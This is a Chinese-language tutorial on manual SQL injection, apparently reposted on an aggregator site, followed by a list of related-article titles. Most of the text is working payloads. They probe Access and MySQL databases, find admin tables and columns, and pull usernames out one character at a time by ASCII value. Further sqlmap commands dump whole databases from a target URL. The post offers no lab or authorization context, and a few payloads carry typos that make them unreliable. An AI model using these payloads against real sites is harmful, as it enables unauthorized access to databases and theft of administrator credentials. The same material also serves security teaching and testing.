SQL注入(手工篇)

Posted yxq-123

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入(手工篇)相关的知识,希望对你有一定的参考价值。

开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。

1.可能出现asp?id=x的网站

  只能是基于asp、php、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

2.漏洞测试

  (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

  (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

3.Acess数据库注入(手动)

  (1)使用‘and’语句来判断是否存在注入;

  (2)判断数据库类型;

    and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

  (3)查看数据库名;

    and db_name()>0

    (4)查看版本信息;

    and 0<>(select @@version)

  (5)查看数据库中是否存在admin这个管理表;

    and exists(select * from [admin])

    and (select count(*) from admin)>0

  (6)查看admin这个表中是否有username这个管理列;

    and exists(select top 1 [username] from [admin])

    and (select username from admin)>0

  (7)猜测admin这个管理列中用户名的长度;

    and (select top 1 len(username) from admin)>0

    后面的长度随意猜测,选择最大返回正常值加1作为长度。

    (8)取出username的ASCII码值;

    and (select top 1 asc(mid(username,N,1)) from admin)>0

    mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

4.mysql数据库注入(手动)

  (1)判断注入点,后面加#,返回正常则为MySQL数据库;

  (2)判断字段数;

    orderb by 1--

    数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

  (3)联合查询,判断可回显数据的位置;

    union select 1,2,3...(上一个得到的字段数)--

    要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

  (4)查看用户,版本,库名

    user(),version(),database()

  (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

    union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

  (6)查看列

    union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

5.sqlmap

  (1)需要在python环境下运行;

  (2)测试是否为注入点;

    sqlmap.py -u "URL"

  (3)获取数据列表;

    sqlmap.py -u "URL" --dbs

  (4)当前数据库;

    sqlmap.py -u "URL" --current-db

  (5)获取数据库所有表信息;

    sqlmap.py -u "URL" --tables -D "目标数据库"

  (6)获取列;

    sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

  (7)获取字段;

    sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

 

以上是关于SQL注入(手工篇)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入(手工篇)

基础篇——SQL注入(工具注入)

SQL手工注入技巧

对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)

SQL注入笔记

SQL注入原理 手工注入access数据库